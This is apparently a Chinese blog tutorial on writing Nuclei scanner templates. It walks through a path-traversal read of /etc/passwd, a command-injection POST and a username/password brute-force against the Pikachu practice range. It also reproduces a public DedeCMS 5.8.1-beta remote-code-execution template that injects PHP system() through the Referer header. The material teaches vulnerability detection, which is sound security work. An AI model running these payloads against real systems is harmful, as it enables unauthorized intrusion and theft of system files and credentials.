nuclei-templates编写

在编写nuclei模板时首先需要注意yaml的一些特性

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进时不允许使用 Tab 键,只允许使用空格。
  • 缩进的空格数目不重要,只要相同层级的元素左侧对齐即可

当留意好这些特性后就可以很快的上手来编写nuclei的模板了

小试牛刀

这里笔者利用pikachu靶场来对nuclei的模板进行测试,首先我们找到一个get请求的漏洞来做测试

文件包含漏洞就是很好的一个选择,通过包含文件来返回信息,匹配返回的值来判断漏洞是否成功利用

id: file-include
info:
  name: 文件包含                          #脚本的名字
  author: CatalyzeSec                    #作者
  severity: high                         #安全级别  可选的有 info, low, medium, high, critical, unknown
  description: 用于测试靶场的nuclei模板    #描述模板内容
  reference: http://www.baidu.com        #参考来源
  tags: test                             #打上标签
requests:
  - method: GET
    path:
      - "{{BaseURL}}/vul/dir/dir_list.php?title=../../../../../../../etc/passwd"
    headers:
        User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
    matchers:
      - type: status #匹配回包状态
        status:
          - 200
      - type: regex #匹配返回内容
        part: body
        regex:
          - "root:x:0:0:root:/root:/bin/bash"

指定上面的脚本进行漏洞利用可以发现利用成功

get请求相对来说还是比较容易的,接下来来看post请求的该如何编写

渐入佳境

0x1

笔者这里通过对pikachu靶场的rce漏洞部分进行测试,这块数据提交的方式为post请求

模板的编写来一步步看,首先是模板的id和info

id是模板必须要填写的部分,可以理解为模板的标识

info里面则是包含着该模板的一些信息内容

id: rce
info:
  name: 命令执行
  author: CatalyzeSec
  severity: critical
  description: 用于测试靶场的nuclei模板
  reference: http://www.baidu.com
  tags: test

紧接着再来看看请求数据的部分

requests或http来做请求部分的声明

http:
  - raw:
    - |
      POST /vul/rce/rce_ping.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded

      ipaddress=a%3Becho CatalyzeSec&submit=ping

请求完数据后就是对返回的数据进行数据匹配,来判断是否成功利用

    matchers:
      - type: status
        status:
          - 200
      - type: regex
        part: body
        regex:
          - "CatalyzeSec"

结合起来,最后在nuclei展现的效果就是这样

0x2

上面的例子都是固定的传参来进行判断,如果当要进行fuzz或者brute的情况下就得再声明其他格式来进行利用

这里就用爆破的模块来做测试

这里将提交数据的地方这样写

#attack即攻击类型,有batteringram、pitchfork、clusterbomb,和burp里的intrude一样

http:
  - raw:
    - |
      POST /vul/burteforce/bf_form.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded; charset=UTF-8

      username={{username}}&password={{password}}&submit=Login

    payloads:
      username:
        - admin
        - root
      password:
        - 123456
        - admin
    attack: clusterbomb

来看结果,最后也是成功爆破出账号和密码

欣赏佳作

当然,比起自己闭门造车不如多看看现有的模板,大家可以多参考其他的模板来编写出规则更为严谨的nuclei模板

dede-cms-rce.yaml

id: dedecms-rce

info:
  name: DedeCMS 5.8.1-beta - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    DedeCMS 5.8.1-beta is susceptible to remote code execution via a variable override vulnerability that allows an attacker to construct malicious code with template file inclusion without proper authorization, thus possibly obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.
  reference:
    - https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html
    - https://sectime.top/post/1d114771.html
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="DedeCMS"
  tags: dedecms,cms,rce

http:
  - raw:
      - |
        GET /plus/flink.php?dopost=save&c=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Referer: <?php "system"($c);die;/*ref

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100df434f263258323e2f8e1ea3f07d374bd59d060ca63eee3faf821ea0c8cc332902203a670f95b44fbdb4ad7126682ff6f55ef7325a18d66cf040e525f67e3a6f7f29:922c64590222798bb761d5b6d8e72950

微信公众号

扫一扫关注CatalyzeSec公众号

加入我们的星球,我们能提供:

1对1就业指导、面试模拟、Golang工具开发学习、Fofo高级会员、各公众号历史文章合集、各种网络安全电子书、面试题合集、最新poc、exp、最常用工具推荐、开放交流环境,解决成员问题。

 

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值